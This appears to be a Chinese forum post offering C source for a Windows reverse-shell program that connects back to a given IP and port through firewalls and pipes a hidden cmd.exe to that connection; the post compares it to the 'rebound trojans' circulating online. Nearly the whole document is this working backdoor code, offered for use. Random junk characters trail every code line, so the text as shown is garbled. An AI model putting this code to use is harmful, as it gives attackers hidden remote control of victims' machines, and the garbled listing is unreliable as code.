这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== u^^[Q2LDU}
Rebound port in Windows NT 5_GYrR2
By wind,2006/7 ?:Uv[|S#>
===============================*/ {$0mwAOH "
#include DX#Nf""Pw
#include <cps2*'
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#pragma comment(lib,"wsock32.lib") +}Dw3;W}m
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void OutputShell(); n(1l}TJy
SOCKET sClient; @LF,O}[2J
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R0KPZv-
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void main(int argc,char **argv) &*M!lxDN
{ Yl
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WSADATA stWsaData; ` Fa~
int nRet; kMIcK4.MH
SOCKADDR_IN stSaiClient,stSaiServer; 8V'~UzK
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if(argc != 3) n@<YI
{ }|h# \$w
printf("Useage:\n\rRebound DestIP DestPort\n"); Ua:}V n&!
return; I fK,b*%
} f z'@_4hg
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WSAStartup(MAKEWORD(2,2),&stWsaData); g];!&R-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^9v4O UG
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stSaiClient.sin_family = AF_INET; ~[t[y~Hup
stSaiClient.sin_port = htons(0); zfJT,h-{
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b6,iZ+]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `'DmDg
{ 5AFJC?
printf("Bind Socket Failed!\n"); `+]Qz =}
return; (p" %O
} 4>wP7`/+y
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stSaiServer.sin_family = AF_INET; j`{?OYD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8SMxw~9$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {5Q!Y&N.%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /:cd\A}
{ ju8>:y8
printf("Connect Error!"); {i;r
return; M H|Og84
} #|uCgdi
OutputShell(); )HEa<P^kJl
} 5?f ^Rz
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void OutputShell() jk;j2YNPw
{ 1.}d.t
char szBuff[1024]; A @i
SECURITY_ATTRIBUTES stSecurityAttributes; |Tv#4st
OSVERSIONINFO stOsversionInfo; z<MsKD0Q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9Gvd&U
STARTUPINFO stStartupInfo; [*Z;\5&P
char *szShell; lov!o:dJ
PROCESS_INFORMATION stProcessInformation; (Lbbc+1m
unsigned long lBytesRead; =O~_Q-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); " s,1%Ltt
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); esJ~;~[@(r
stSecurityAttributes.lpSecurityDescriptor = 0; v&6-a* <Z
stSecurityAttributes.bInheritHandle = TRUE; FUiRTRIYe
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4VHn \
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R|'ybW'Y
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); QFA8N
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rjK%t|aV^
stStartupInfo.wShowWindow = SW_HIDE; ~]sc^[
stStartupInfo.hStdInput = hReadPipe; irZ])a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 49eD1h3'X[
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GetVersionEx(&stOsversionInfo); M$wC=b
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switch(stOsversionInfo.dwPlatformId) 91/Q9xY
{ Q1Kfi8h}'
case 1: % 7hrk
szShell = "command.com"; Kf3"Wf^q
break; QL(n} {.%
default: )L? P}$+
szShell = "cmd.exe"; &<z1k-&!
break; 8C40%q..
} d z|or9&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &bS,hbD t
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send(sClient,szMsg,77,0); b1cy$I
while(1) #`^}PuQ
{ (&r.w
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [+^1.N
if(lBytesRead) p:&8sO!m
{ "MeVE#O
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -abt:or
send(sClient,szBuff,lBytesRead,0); *tA1az-jO
} a
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else KM,\
{ }PlRx6r@
lBytesRead=recv(sClient,szBuff,1024,0); jRa43ck
if(lBytesRead<=0) break; ~g91Pr
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #<fRE"v:Q
} p%ki>p )E|
} gt)I(
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return; Xg6Jh``
}